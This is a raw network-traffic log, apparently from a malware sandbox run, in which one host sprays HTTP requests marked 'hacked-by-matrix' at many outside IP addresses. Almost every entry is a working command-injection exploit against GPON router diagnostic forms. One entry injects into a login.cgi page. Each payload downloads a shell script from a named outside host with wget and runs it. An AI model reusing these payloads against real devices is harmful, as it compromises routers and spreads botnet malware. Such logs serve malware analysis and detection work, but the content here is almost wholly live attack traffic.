Mar 21, 2024 05:23:18.741384983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1403	192.168.2.13	33642	118.87.188.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741406918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1404	192.168.2.13	35262	212.41.122.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741416931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1405	192.168.2.13	42818	5.187.225.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741450071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1406	192.168.2.13	36774	118.177.128.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741450071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1407	192.168.2.13	58170	109.161.75.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741465092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1408	192.168.2.13	35148	212.37.159.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741497993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1409	192.168.2.13	52244	118.139.76.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741503000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1410	192.168.2.13	42286	118.201.233.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741528988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1411	192.168.2.13	42552	5.25.185.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741539001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1412	192.168.2.13	58662	118.191.223.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741542101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1413	192.168.2.13	49580	212.178.89.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741561890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1414	192.168.2.13	51032	212.164.104.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741605043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1415	192.168.2.13	36866	42.239.27.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741611004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1416	192.168.2.13	59822	118.105.194.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741635084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1417	192.168.2.13	37890	42.208.186.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741647959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1418	192.168.2.13	37810	118.18.63.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741673946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1419	192.168.2.13	47156	42.26.198.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741688967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1420	192.168.2.13	43678	5.101.206.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741714001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1421	192.168.2.13	36152	5.105.137.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741729021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1422	192.168.2.13	53354	45.76.198.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741746902 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:20.108232021 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:21.715346098 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:21.977976084 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1423	192.168.2.13	34404	109.233.76.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741749048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1424	192.168.2.13	51322	5.98.142.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741760969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1425	192.168.2.13	33614	212.72.237.242	443

Timestamp	Bytes transferred	Direction	Data
